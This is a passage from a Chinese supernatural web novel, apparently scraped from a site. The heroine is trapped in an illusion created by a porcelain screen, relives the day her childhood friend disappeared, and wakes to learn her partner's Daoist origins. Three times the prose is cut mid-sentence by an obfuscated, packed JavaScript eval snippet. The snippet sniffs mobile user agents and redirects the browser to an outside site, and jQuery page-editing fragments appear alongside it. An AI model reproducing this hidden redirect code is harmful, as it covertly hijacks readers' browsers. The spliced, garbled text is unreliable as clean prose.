也就是说,她从窗户翻进来的瞬间,就被迷惑了神智,所以刚才不管是贴墙移动,还是拉开门栓,推开门,都是她的幻觉! 伊峰秋始终没有动静,是不是也是被拉进了幻境中? 唐镜一咬牙,脱下外衣,用力扇着屋子里面的浓烟,同时贴着窗户,往旁边快速移动,把另外两扇窗户都打开了。 浓烟慢慢淡去,屋子里的轮廓渐渐清晰,她背靠墙壁,左手握住电击器,右手掏出口袋里的手电筒,向前照去。 整个房间空荡荡的,除了那架瓷质屏风,再没有任何家具,青金石砖铺成的地面,干净整洁,一尘不染,手电筒的光照上去,反射着幽光。 伊峰秋盘坐在地中央,正对着那架瓷质屏风,一动不动,就像老僧入定。 唐镜看到他的背影时,竟然有一种热泪盈眶的感觉,本能的想要扑过去,可是理智克制了她的冲动。 虽然房间里空空荡荡,可是她知道,在某个她看不到的角落,也许就有一双眼睛盯着她,不能给它任何可乘之机。 “伊队……”唐镜轻声叫了一下,不过伊峰秋没有半点反应。 她靠着墙壁慢慢移动,一直移动到能够看到伊峰秋正面的位置,这才停下来。她顾不得许多,直接拿手电筒去照他的脸。 伊峰秋双目微闭,长长的睫毛在眼下投下一抹阴影,面无表情,只是嘴唇抿的很紧,以至于唇色有些泛白。 咦,他戴着的防毒面具哪里去了? 唐镜突然意识到这点,手电筒的光继续下移,身上衣服完好无损,看不出有什么伤痕,双膝相盘,两只手垂在膝盖上。 任何人看到伊峰秋此时的样子,都以为他是在打坐。 她看着伊峰秋的样子,突然想起了他给她看过的那张照片,就是在叶菲的电脑里找到的,在一座古怪的庙宇前,齐修和三个僧侣盘坐冥想时的情形。 虽然伊峰秋的表情没有那三个僧侣那么明显,可是唐镜也能看出来,他现在处于一种非常紧张的状态。 在冥想练习里,有一种非常高级的状态,叫做入定,入定并不是佛家特有的一种状态,很多宗教修行里都有关于入定的修炼。 什么是入定? 简单的说,就是你的所有感官都对外部世界关闭了,视而不见、听而不闻、眼耳鼻舌身意仿佛全部失效。 你的所有感官,都收摄回来感知自己的身体,此时,你自己就是一个小世界。 灵山只在汝心头。 这个时候,你就进入了所谓的定境。 只不过,入定难,出定更难,据唐镜所知,能够修行到入定境界的高人,当世寥寥无几,大部分都待在深山老林里,并不出世。 有一定修行基础的人,要想入定,除非是在特殊的情景中,被外界的力量带入定境。 唐镜的目光移到了瓷质屏风上,乍一看,只是一幅淡墨山水画,可是仔细看去,屏风上的墨痕似乎正在不断的变深。 她盯着墨痕,心想难道自己眼花了,忍不住往前走了几步,想要看的更清楚一点。 走近之后,她看的越发清晰,屏风上的墨痕不仅在变深,而且开始流动起来,好好的一幅淡墨山水画开始扭曲变形,渐渐形成了两团黑色的漩涡。 不知道为什么,唐镜觉得这两团黑色的漩涡有一种说不出来的熟悉感。 墨痕还在变化。 她整个人突然僵住了,死死盯着屏风。 这是一双眼睛! 瓷白的屏风上,浓墨勾勒出一双眼睛,黑色的瞳仁,就像暴风雨来临前的暗夜,也像是无底的深渊。 她仿佛站在深渊的边上,正在往下凝视。 全身的汗毛陡然竖起来,心中警铃大作,理智告诉她,必须立刻把视线收回来,不能再盯着它看了,可是目光却全然不受控制,死死黏在了那双黑眸里。 唐镜拼尽全力,想要闭上眼睛,可是眼皮好像变成了石头,根本无法动弹。 脑中突然一晕,眼前一黑又一亮,她发现眼皮能动了,赶紧闭上眼睛,一颗心怦怦直跳。 也不知道过了多久,并没有什么异样,唐镜重新睁开眼睛,不禁怔住了,眼前的瓷质屏风上,还是那幅淡墨山水画。 难道刚才真是她眼花? 可是下一个瞬间,唐镜就觉得不对劲,屏风还是那架屏风,不过本来盘坐在屏风前的伊峰秋哪里去了? 她的目光一转,看到那两扇推开的窗户,心脏像是突然停止了跳动。 她刚才是从那里翻窗进来的,下面靠近插销的窗格被她用石块砸碎了,可是现在看过去,那几块窗格却完好无缺。 唐镜看了看周围,依旧是那间空荡荡的屋子,除了那一架屏风外空无一物。 她快步走到窗户边,盯着完整的窗格,想要伸手去摸一下,手伸到一半,却又缩了回来。 她的手还停在窗户前面,屏风后面突然传来轻笑声:“小镜子,你不好好打坐调息,难道又想偷偷溜出去,被爷爷看到,你又得面壁思过三天三夜了。” 杨梵的声音! 穿着白衬衫的少年脚步轻快,从屏风后面走出来,双手插在裤兜里,笑嘻嘻看着我。 幻觉,这是幻觉! 唐镜死死盯着杨梵,抬起右手,想要用电击器电醒自己,可是却发现右手空空如也,电击器不知道去了哪里。 可是此时,让她震惊的并不是电击器不翼而飞,而是她的右手! 右手整整小了一圈多,根本就不是一个成年人的手,而是少女纤巧的手掌! 惊恐之下,她下意识举起双手,果然,双手都变小了,随即,她把目光移到自己身上,本来她穿的是一身黑色的户外服,可是身上的衣服变了,变成了一套浅粉色的运动服! 她还记得这套运动服,是她十五岁的时候,父母送的生日礼物,辗转多年后,这套运动服最终不知去向。 这不是现在的唐镜,是十五岁时的唐镜! 穿越? 幻觉? 唐镜扶着窗沿,一个踉跄,险些栽倒在地。 曾几何时,她无数次渴望时光能够倒流,回到少年时,那么,也许那场惨剧就不会发生,杨梵就不会死。 难道时光真的倒流了? 杨梵双手揣在裤兜里,脚步轻快的朝她走来,笑嘻嘻的说:“别从这里翻窗,容易被发现,跟我来。” 他拉起唐镜的手,带她往屏风后面走去。 唐镜脑子里面一片茫然,眼前的杨梵是那么的真实,他握着她的手,她能感觉到他手指的修长,以及皮肤的温度,如此的熟悉。 甚至眼前这一幕,曾深埋在过往的记忆里。 那是初中毕业的暑假,就像每年的假期一样,唐镜被父母送到爷爷住的山里,跟着爷爷习武。 杨梵是个孤儿,从小就跟在唐镜爷爷身边,按照爷爷的说法,杨梵算是他的衣钵传人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234648|181819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 那天唐镜正按照爷爷教的方法,在屋子里练习吐纳内观,杨梵溜进来,就像现在这样,偷偷带她出去玩。 唐镜的手指微微颤抖,理智告诉她,眼前的情形不对,这不是现实中会发生的事情,自己应该甩开他的手,想办法清醒过来。 可她舍不得。 就这样,杨梵牵着唐镜的手,一步一步走到了屏风后面。 屏风后面的墙上,是一扇窗户,窗外有一小块空地,种着花草,再远点,就是一道围墙。 走到窗户边,杨梵回头一笑,唇角勾起,眼睛明亮:“我们翻墙出去,有好东西给你。” 说完,他跳出窗户,却没有松开她的手,她也跟着出了窗户,和他一起穿过空地,翻出围墙。 围墙外面有一道斜坡,一条小路顺着斜坡一路向下,可以一直走到山脚下面的小河边。 看着眼前熟悉的景色,唐镜的眼睛有些发酸,这山林,这小河,伴随她度过了童年和少年,却没想到在这种情形下,又出现在眼前。 这个穿白衬衫的少年,还活着,真好。 喜悦像潮水,慢慢浸没唐镜的理智,也许眼前才是现实,而这十年来的生活才是一场梦。 她只是在调息的时候打了个盹,一梦十年,然后被杨梵叫醒了。 既然如此,那她一定要把当初想说却没有说的话,说出来,曾经想做而没有做的事情做了! 这个时候,杨梵已经拉着她走到了河边,在一块大石头边坐下,地上烧过的枯枝还燃着火星。 杨梵拿石头把枯枝拨到一边,从灰烬下面挖出一大团烧干的泥巴,提在手里,笑嘻嘻的说:“你猜这是什么?” “杨梵,我喜欢你。”唐镜没有理会那团泥巴,而是盯着他的眼睛说道,声音有点颤抖。 这句话,埋藏了很多年,一旦说出来,心里竟是满满的喜悦。 “啪”杨梵手里的泥巴掉在地上,摔的四分五裂,烤鸡的香气散发出来。 天地突然静默下来,风中带着野草树木的香气,轻柔拂过脸颊。 “上次看了小说后,你、你不是一直说想、想吃里面提到的叫化鸡吗,我、我照着书上说的做、做了一只,你尝尝……” 也不知道静默了多久,本来木雕泥塑的杨梵,突然红着脸,一边手忙脚乱的去捡地上的叫化鸡,一边结结巴巴的说。 现在的场景,已经和记忆中的情形不同了。 记忆中,杨梵带唐镜溜出来,到了河边,他得意洋洋的显摆自己做的叫化鸡,唐镜和他你抢我夺,把一只鸡吃的干干净净,然后打着饱嗝回家去了。 可是当唐镜再次回到这里的时候,她却告诉杨梵,她喜欢他。 她上前一步,抱住杨梵,把头埋在他的胸口前:“我喜欢你,杨梵。” “啪!” 杨梵捡起来的叫化鸡又掉到了地上。 唐镜的耳朵贴着他的胸膛,能听到他心脏剧烈跳动的声音,能感觉到他的身体绷得很紧,微微颤抖,他的双手先是僵在那里,一动不动,随后又一点一点的移动,慢慢环住了她的腰。 风在呢喃,水在流动,少年少女拥抱在一起,真好。 鼻端全是少年身上干净的味道,他的手小心翼翼的放在她的后腰上,她能感觉到他的手指很烫,正在发抖。 唐镜抬起头,看着杨梵,他也正看着她,长长的睫毛遮下来,眸子闪着光泽,脸色通红,目光却很坚定。 也许,这真的不是幻境,也许,她真的只是做了一个长长的梦,如今已从梦中醒来,一切都可以重新开始。 唐镜踮起脚尖,在杨梵的唇上轻轻啄了一下。 杨梵把她抱的更紧了,双唇压住了她的唇,有些笨拙的亲着少女娇艳的唇。 他的唇,干净而柔软,像秋天碧空里的白云。 那是少年独有的,干净而清新的气息,像阳光下最纯净的湖泊。 耳鬓厮磨,流连忘返。 “杨梵,我喜欢你、我喜欢你。”每当有一点空隙时,唐镜就会一遍又一遍的说。 “我、我也喜欢你。”杨梵的呼吸有些急促,也一遍一遍的说。 隔着薄薄的衣衫,她能感觉到他手心的炙热。 21. 第 21 章 天色不知不觉暗下来,唐镜觉得有些头晕,杨梵的手,已经一点一点移到她的肩膀,并且有些怯怯的碰了碰她的锁骨。 “我有些渴。”唐镜低声说。 “我、我只准备了一瓶啤酒……”杨梵结结巴巴的说,不舍的松开手,转身蹲下,从大石头下面拿出一瓶啤酒。 “我要喝一口。”唐镜伸出手。 杨梵打开啤酒瓶盖,把啤酒瓶递给她,小声说:“先喝一口解解渴,我去给你买水。” 没等唐镜回答,杨梵已经转身顺着河边跑去,绕过这道斜坡,三四百米外,有一条进山的公路,路边有一个小卖部。 唐镜靠着大石头坐下,喝了一口啤酒,嘴虽然不渴了,可是头却越发的晕了,不知不觉睡了过去。 等她再次睁开眼睛,发现身在屋里,还是那间空荡荡,只有一架屏风的屋子,面对着那架屏风。 难道自己睡过去了,杨梵把她背回来了? 可是下一个瞬间,唐镜就觉得不对劲,目光转向那两扇推开的窗户,午后的阳光明亮而温暖。 窗户上,靠近插销的几块窗格,完好无缺。 她有些茫然的打量着整个房间,打量着自己,觉得有什么不对劲。 她还穿着那套粉色的耐克运动服,还是十五岁时的模样。 就在这时候,屏风后面突然传来轻笑声:“小镜子,你不好好打坐调息,难道又想偷偷溜出去,被爷爷看到,你又得面壁思过三天三夜了。” 穿着白衬衫的少年脚步轻快,从屏风后面走出来,双手插在裤兜里,笑嘻嘻看着她。 怎么回事? 唐镜脑子里面一片糊涂,只呆呆看着杨梵双手揣在裤兜里,脚步轻快的走来,笑嘻嘻的说:“别从这里翻窗,容易被发现,跟我来。” 他拉起她的手,往屏风后面走去。 翻窗、越墙,他拉着她走向河边…… 遥遥看到那块大石头,看到大石头下面的枯枝灰烬,唐镜终于回过神来,她又重新开始重复这一天的经历! 她在重复这一天,为什么? 脑子里面一阵迷糊,可是看着杨梵活生生站在面前,笑容干净,眼神澄澈,一瞬间,心悸又甜蜜的感觉淹没了她。 拥抱、呢喃…… 迷迷糊糊中,唐镜想,如果每天都这样,那也很好很好啊。 这一次,她没有让杨梵跑去买水,两人一直拥抱,直到天黑下来,当杨梵松开手臂的时候,她脑中一晕,忍不住闭上眼睛。 等唐镜睁开眼睛的时候,依然是在空荡荡的屋子里,依然面对屏风而站,杨梵手揣在裤兜里,笑嘻嘻的从屏风后面走出来…… 这一次,唐镜本来下定决心,不跟杨梵离开屋子,看看最后会发生什么变化,可是当杨梵握住她的手的时候,决心顿时不翼而飞。 她跟着他,再次来到河边。 只是这一次,唐镜只是呆呆站在那里,看着他挑起灰烬下的叫化鸡,接过他递过来的鸡腿,有些麻木的塞进嘴里。 和杨梵在一起,哪怕只是发呆,也觉得时间过的很快。 天再次黑下来,唐镜哪怕狠命用手掐着大腿,痛的直从牙缝间吸凉气,但是依然不受控制的迷糊了一下。 再睁开眼睛,又是空荡荡的房间,又是面对着那一架屏风,又是双手揣在裤兜里,笑嘻嘻从屏风后面走出来的杨梵…… 重复了七次以后,唐镜终于确定,她被困在了同一天里! 她勉强控制住情绪,没有歇斯底里,尽量不在杨梵面前露出异样,虽然心里已经明白,眼前一切都是幻境,可是看着杨梵干净的笑容,她不想破坏这一切。 毕竟,此时的杨梵就活生生站在面前。 幻境是假的,可是,她肯定,杨梵是真的。 其实,就这样和杨梵活在同一天里,也挺好的啊,唐镜心里隐隐升出这么个念头来。 就在她这么想的时候,脑海深处突然响起若有若无的声音,那声音很遥远,仿佛是在叫“唐镜、唐镜……” 可是她仔细去听,却又什么都听不到了。 头开始痛起来,好像要裂开。 她伸手去揉太阳穴,衣袖滑落下来,她看见了手腕上绑着一条手帕,方格子的男士手帕。 是伊峰秋给她的那只手帕。 当时他借给她,是为了让她遮住手镯上的摄像头! 唐镜心中一个激灵,一把扯下手腕上的手帕,手帕下面,是那只表面很普通实际很牛叉的手镯。 她的身体都变成了十五岁时的模样,包括头发衣服都变了,可是这只手镯,却还戴在手上! 她盯着手镯上镶嵌的三块水晶,一块是摄像头,一块是可以弹出麻醉针,一块是GPS全球定位系统。 “你的手腕怎么了?”杨梵凑到跟前,看看她的手腕,又看看她的眼睛,疑惑的问道。 “手镯……”唐镜晃了晃手腕。 可是杨梵看着她的手腕,满面疑惑,很显然,他看不到伊峰秋给她的这只银镯子! “手镯?什么手镯?哦,明白了,你想要只手镯……”杨梵搔搔头,眼珠一转跑开了,“你等下。” 唐镜低头看着手镯,好好的戴在手腕上,为什么杨梵看不到她手腕上的这只手镯! 难道说,这只手镯在幻境里是不存在的,只有唐镜自己才能看到? 那么,这块手帕也和手镯一样,在幻境里不存在,也只有她才能看到? 唐镜心里升起一个念头,这只手镯和这块手帕,并不一般,伊峰秋给她这两样东西,也没那么简单。 是不是借助这个手镯和手帕,她就能从这个诡异的幻境里离开? 唐镜正盯着手腕上的手镯发呆,杨梵已经跑了回来,站在面前,双手背在身后,笑嘻嘻的看着她,鼻尖渗出一层细碎的汗珠,在阳光下闪着光泽。 “把手伸出来。”杨梵的语气里有一点点的紧张。 唐镜把注意力暂时从手镯上移开,把左手伸出去给他。 少年把手从背后拿出来,摊开掌心,手心上,是一只鱼骨头做的手镯,阳光下,雪白的鱼骨呈半透明状,鱼脊梁被弯成一个圆,接头处用透明的钓鱼线细细缠绕起来,脊梁骨两边,比发丝粗不了多少的鱼刺,刺尖被打磨的浑圆。 唐镜认出来了,这是山溪里面特有的一种鱼的鱼骨头,这种鱼被称为豆腐鱼,因为它的鱼骨和鱼刺都非常柔软,随意弯折都不会变形。 这种鱼的鱼肉鲜美,可是产量非常少,杨梵竟然会想到拿它的骨头做成手镯,他是什么时候开始做这只手镯的? “前段时间捉了只大点的豆腐鱼,它的骨头大小正合适,我、我就琢磨着,给你做了只镯子。”杨梵搔搔头,脸有些红。 他把鱼骨手镯给唐镜戴到左手腕上,然后往后退了一步,歪着头,黑亮的眼睛里闪着光泽:“真好看。” 唐镜的心像是被一只手狠狠握住。 右手腕上,缠着手帕的银手镯,不断的在提醒她,这只是幻境,这里发生的一切都不是真实的,必须要从幻境中走出来。 左手腕上,雪白半透明的鱼骨手镯,缠绕着少年最纯净的情愫,即使明白这是幻境,即使只是不断的重复着这一天,可是她又怎么忍心留他一个人在这里? 怎么办?怎么办? 少年杨梵,就是唐镜的心魔,她被困在自己的心魔里。 这到底是什么样的力量?竟然玩弄人心于股掌之上? 唐镜突然想起盘坐在屏风前的伊峰秋,他脸上的紧张表情。 他一定也是被困在了幻境里,正在对抗幻境,他的心魔,又是什么? 想到伊峰秋,唐镜渐渐冷静下来,看着天边西斜的太阳,等到太阳落到山后的时候,这一天将再次重复开始。 她其实一直都明白,为什么会被困在这一天里,只是一直在逃避答案。 只因为,今天过后的第二天,是她的无间地狱。 “你、你、你喜欢吗?”杨梵的眼睛很亮,看着少女,有点结巴的问道。 唐镜把左手按在胸前,让鱼骨手镯贴着她的心脏:“喜欢,这是我收到的最好的礼物了。” “真的吗?”杨梵的眼睛闪闪发光,脸上有些发红。 “当然是真的了。”她上前一步,抱住他,“杨梵,我好喜欢好喜欢你。” “我、我也好喜欢你。” “陪我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234649|181819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去一个地方,好不好?” “好啊,刀山火海,只要你想去,我也陪你去。”杨梵握着她的手,大声说道。 唐镜把目光从杨梵身上移开,胸腔里,什么东西在破碎,有些事,有些人,即使再不舍,终将会随着时光洪流渐行渐远。 她看着慢慢西斜的太阳,大概还有一个多小时,就要落到山后了,应该能在落山前赶到那个地方。 那是她内心的无间地狱,在那里,她将和心魔幻境决一死战! 唐镜和杨梵牵着手,沿着河边往山坡另外一面奔去,穿过一片枝蔓横生的杂树林,又爬过一段陡峭的山崖,转到了后山深处。 当太阳边缘挨着山顶的时候,她看到了前面倾泻而下的瀑布,如一条银练挂在半空,飞溅的水滴中,有彩虹隐现。 瀑布下方是一个不大的水潭,瀑布落下来,在水面激起水花和涟漪,隆隆水声中,水潭的水从另外一个出口溢出,沿着山势形成湍急的溪流,奔向山脚。 这个地方,是杨梵发现的。 这里非常隐蔽,而且其中还有一段陡峭山崖,一般人很难爬过去,所以景色虽然美,却是人迹罕至的一个地方。 太阳向山后缓缓下沉,虽然慢,却绝不停留。 天空山林都涂抹了一层霞光,像是染上了血色。 唐镜仰着头,看着瀑布上方的山崖,那里有一株大松树,就长在瀑布边上,半个浓密的树冠探出山崖,枝干比火车轮子还要粗,足有上百年的树龄了。 透过枝叶,可以看到枝桠间的那个鸟巢。 一只大鹰从树枝间飞起,展开翅膀盘旋了一阵,随后飞向远方,变成了一个黑点,消失在天际。 还没长毛的小鹰从鸟巢探出头来,来回张望。 眼前的一切,和那一天的情形一模一样。 杨梵发现了这个地方后,并没有告诉任何人,不久后,在他十六岁生日的那天,他才带唐镜来到这里。 他十六岁生日,就是无限重复的这一天的第二天。 站在这里,想到要再一次直面这一天,唐镜觉得有什么东西,正在撕扯她的灵魂,她想转身逃走。 无处可逃。 她转身,抱住杨梵,“对不起。” 杨梵愣了一下,在他还没有反应过来的时候,少女松开手,往瀑布边上奔去,顺着山崖往上爬去。 “很危险,你要干嘛!”杨梵跟在她身后,追了过来。 唐镜没有回答,眼泪顺着脸颊往下滴落。 那一天,她看见那只小雏鹰,就趁着杨梵不注意,偷偷爬上山崖,爬到那棵大树上,杨梵发现以后,也是像这样,跟在她身后,追赶她。 她没有理会他,只管爬在树边,逗小雏鹰玩。 结果大鹰飞回来的时候,以为自己的幼崽有了危险,立刻俯冲而下,向唐镜发起了凶猛的攻击。 当时,大鹰的爪子像锋利的小刀,向她的头上抓过来,她抱着树干,已经吓呆了,不知道躲闪,也无法躲闪,甚至都忘了尖叫,只是呆呆看着大鹰扑来。 杨梵扑了过来,抓住大鹰的两个爪子,大鹰受了惊,扑扇着翅膀,带着杨梵,飞到了半空中,一直飞出她的视线。 就在那一刻,太阳完全沉入山后,霞光如血,唐镜隐约可以看见,杨梵抓着大鹰的爪子,转头朝她微笑。 她感觉自己的心有一块被硬生生撕裂下来。 从此,唐镜再也没有见到杨梵。爷爷带着附近的山民,搜遍了方圆数十里范围内的山岭,也没有找到杨梵的踪影。 活不见人,死不见尸! 杨梵十六岁生日那天,她永远失去了他。 一切都像那天一样,唐镜爬在鹰巢边,探头出来的小雏鹰,杨梵在她身后,一边看着小雏鹰,一边让她赶紧和他下去。 大鹰飞回来了,开始向唐镜发起攻击。 就在杨梵扑出去的瞬间,她抱住了杨梵。 她和他一起被大鹰带着,斜斜飞出去,大鹰带不起两个人的重量,尽管拼命扑扇翅膀,可还是开始往下坠去。 唐镜抱着杨梵微笑,这次,不管怎样,她都不会失去你。 眼前突然一黑,她失去所有的意识…… 22. 第 22 章 头痛欲裂! 唐镜觉得眼皮有千斤重,好不容易才睁开,第一眼,就看到对面的那架瓷质屏风,她先是倒吸一口凉气,难道自己还在幻境里,但是随即就发现不对。 屏风上是浓墨汇成的两只眼睛,而不是她在幻境里看到的那幅水墨山水画。 她盘坐在屏风的对面,伊峰秋就在旁边,依旧是闭目盘坐,如老僧入定,只是他的左手,紧紧握着她的右手。 她清晰的感觉到他掌心皮肤的热度,干燥稳定,一层薄茧,虽然有些粗粝,可是却让人安心。 她从幻境里出来了! 她走出了困扰自己的心魔! 杨梵,杨梵,她终于敢面对那一天了,那一天,她永远失去了她的少年。 心魔依旧在,但唐镜有了直面的勇气,它就无法再继续操控她。 各种情愫杂糅在一起,在胸腔里涌动着,唐镜想哭,想嚎叫,想用头撞地,可是从伊峰秋身上传来的气息,让她渐渐平静下来。 伊峰秋脸上神情,已经变得有些冷肃,不同于她刚开始进屋时候看到的那么紧张,但是能感觉到他在幻境里的情况并不是很好。 脑海里忽然浮出一丝疑问,既然伊峰秋和她一样,陷入到幻境里,那他怎么会握住她的手? 按照道理来说,他在幻境里,应该无法和现实世界发生联系,那他是究竟怎么做到的? 唐镜突然想起来,在幻境里,曾经听到他叫她的名字,虽然声音若隐若现,几不可闻,但是她能确定,那是伊峰秋的声音。 也是这声音,让她在幻境中保持了一分清明。 唐镜低头看向他的左手,发现他的左手腕上,系着一条手帕,手帕挨着她右手腕上的手帕,两块手帕都是同样的白底黑格,同样大小和质地。 看上去,这两块手帕像是从同一块布料上剪裁下来的。 手帕和手帕挨着的地方,有一道细细的,淡淡的光痕,光痕在不断的游动,但是游动的范围,始终在手帕上。 好古怪! 唐镜的目光从手帕移到手镯上,心里的疑惑越来越强烈,从目前的情形来看,伊峰秋给她的手帕和手镯,并不像他说的那么简单。 难道说,他早就预料到会有幻境出现,所以提前埋下了伏笔? 伊峰秋究竟是什么人? 他绝对不会是一个普通的特殊部门小队长,在这老宅里发生的一切事情,都说明他不是一个寻常人。 有那么一瞬间,唐镜真想摇醒伊峰秋,把所有的疑惑都一股脑的问出来。 不过理智还是压下了她瞬间的冲动,别说他现在幻境里,她根本就摇不醒他,就算摇醒他,她又能问出什么呢? 根据这些天对他的了解,伊峰秋不想说的事,就算用枪逼着他,他也不会说,如果他想告诉她,她不问他也会说。 她现在要做的事情,就是等他从幻境里走出来。 不知道为什么,唐镜突然有一种强烈的自信,相信伊峰秋能够从幻境里走出来。她把目光转向屏风。 屏风上那两只浓墨汇成的眼睛,乌黑的眸子如无底深渊,又如暴风雨来临前的暗夜,可是也许是因为她已经从幻境里走出来,所以再次直视这双眸子的时候,虽然还有心悸的感觉,神智却依然保持清明。 也许是因为神智清明,所以唐镜突然发现,这双眼睛,似乎有什么异样。 她眨了眨眼睛,确定自己不是眼花,屏风上浓墨汇聚而成的那双眼睛,乌黑的眸子开始慢慢移动起来,先是往左,再是往右,移动的特别特别慢。 就好像一个人不愿意和别人对视,所以就有意识的移动视线,避开对方的目光。 唐镜忍不住回头向四周望了望,屋子里面依旧空空荡荡,只有她和伊峰秋,以及这架诡异的瓷质屏风。 就在这时候,屏风上的眼睛里,一滴黑色的墨痕从眼角缓缓滑落,沿着屏风向下滚动,在屏风下端边缘的地方,消失无踪。 就好像一滴水落到了沙漠里。 一滴一滴又一滴。 就像这双眼睛正在哭泣,可是流出的泪水,却是黑色的,怎么看怎么觉得阴森诡异。 随着黑色眼泪的不断滚落,眸子的颜色开始变淡,直到眸子变成了和屏风一样的白色。 屏风上只剩下一双没有黑色眸子的眼睛轮廓,空空洞洞,看的她心里发麻。 随后,眼睛轮廓的墨痕也开始消失,一滴一滴滑落到屏风的底端边缘,消失无踪。 整架瓷质屏风,只剩下一片空白。 唐镜呆呆看着屏风,忍不住开始揉眼睛,确实不是眼花,也不是产生了幻觉,屏风上的墨痕真的消失了。 耳边响起一声闷哼,把她惊醒。 伊峰秋醒过来了! 他睁开双眼,朝她看过来,神情先是显得有些凝重,但是随即眼中就浮现出一丝笑意。 本来唐镜满脑子的疑问,想要问他,可是一接触到他的目光,那些疑问突然不翼而飞,心里只剩下满满的欢喜。 沉默了一会,她突然意识到,他还紧紧握着她的手,莫名的,脸上有些发热,感觉有些窘迫,想要抽出手来,却又不想显得不自然,所以手一抽出来,就抬手指着屏风说道:“上面的墨痕都没了。” “嗯。”伊峰秋目光转向屏风。 从他的表情看,对于突然变成了一片空白的屏风,并没有表现的特别疑惑,这是不是说明,他刚才虽然闭目入定,可还能察觉屏风上的变化? “刚才你进屋以后,到底发生了什么事情?”唐镜越发的好奇,终于忍不住问起来。 “没发生什么事情,和你经历的一样,被这架屏风引进了幻境。”伊峰秋淡淡的说。 “既然你在幻境里,为什么还能在现实中握住我的手?这块手帕到底是怎么回事?”她指指伊峰秋手腕上的手帕,又指了指裹在自己手腕镯子上的手帕。 现在两块手帕没什么异样,可是她能确定,刚才两块手帕接触的地方,真的有细细的光线游走。 “这事说来比较复杂,”伊峰秋沉吟了一下,“等回去以后,我再慢慢讲给你,当务之急,我们还是要赶去齐卓宇的住处,到他消失的地方去看看。” 虽然唐镜的好奇心要爆棚了,可是也不得不承认,现在最要紧的事情,是赶紧探完这幢古宅。 她下意识看了看表,从伊峰秋进到这间屋子到现在,才过去了仅仅半个小时,可是在幻境里,她却过了很多个一天。 这时候,伊峰秋站起身,走到屏风跟前,做了一件事情,顿时让唐镜三观尽碎。 只见他走到屏风前,从背包里掏出了一张黄色的符纸,然后把这张符纸贴到了瓷质屏风的中间。 符纸上面还用朱砂画着繁复的符号。 影视剧里倒是经常可以看到,道士做法的时候,拿出一张符纸,咬破手指头,快速的在上面画出一些符号来,然后把符纸往僵尸或者妖怪的额头上一贴,立刻就镇住了这些作祟的怪物。 可是,当掏出符纸的不是道士,而是一名现代技侦人员时,画风立刻变得很奇怪,满满的违和感,让唐镜的三观瞬间掉一地。 伊峰秋贴完符纸以后,转身拉起呆若木鸡的唐镜,绕过屏风,从后门离开。一直走到下一进院子里,她才回过神来。 “你、你到底是什么人?”她上上下下打量着伊峰秋,就好像在看一个怪物。 伊峰秋有些诧异的摸了摸脸:“怎么了?” “难道现在符纸也是刑侦的标配了吗?” “哈哈。”伊峰秋难得笑出声来,笑完以后,他伸出手捏了捏她的鼻尖,“知道正一派吗?” 虽然觉得以自己和他的关系,捏鼻尖神马的有些怪怪的,可是唐镜的注意力被他的话吸引住了,也就忘了这茬,非常惊讶他居然会提起正一派。 正一派是道教中的分支,因为唐镜爷爷年轻的时候,做过道士,经常给她讲道家的一些故事,所以伊峰秋提起正一派,她并不陌生。 道教有很多流派,拜小说所赐,很多人都知道其中的全真派,另外比较有名的就是龙虎山的天师派,其余正一派、太一派、茅山派,也有些知名度,还有一些地方上的小流派,知道的人就不多了。 这些教派里,只有全真派吃素,禁婚嫁。 唐镜爷爷少年的时候,就入了全真派,后来二十五岁的时候,跟师父去一户人家里捉妖,遇到奶奶,两人一见钟情,爷爷为了娶奶奶,就还俗了。 伊峰秋为什么会在这时候,突然提起正一派? 他显然看出她的疑惑,继续说道:“我父亲是正一派的道士。” 啊啊啊,不会吧! 看着伊峰秋一本正经的模样,显然不是开玩笑,当然,他也不是个会随便开玩笑的人,唐镜瞪大眼睛,把他从头看到脚,又从脚看到头。 一身黑色的冲锋衣,额头上有些凌乱的碎发,下巴上的胡子茬,怎么看都和仙风道骨的道士联系不到一起去。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234650|181819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你是道士?道士也可以兼职抓犯罪分子了吗?”唐镜结结巴巴的问。 伊峰秋失笑:“我哪里像道士了?我虽然从小在正一门长大,不过到了该上学的时候,也是去市里的学校读书,高中毕业后考上特种大学,毕业后做了这行。” “哇,那你一定学会了很多法术吧,快来几招让我看看。”唐镜半开玩笑半认真的说,知道伊峰秋的父亲是道士,心里不由自主对他亲近了几分。 爷爷当年虽然还俗了,可是还经常做道士打扮,她从小跟着爷爷长大,感情非常好,爷爷还带她去过终南山,在全真派的道观里住过一段时间。 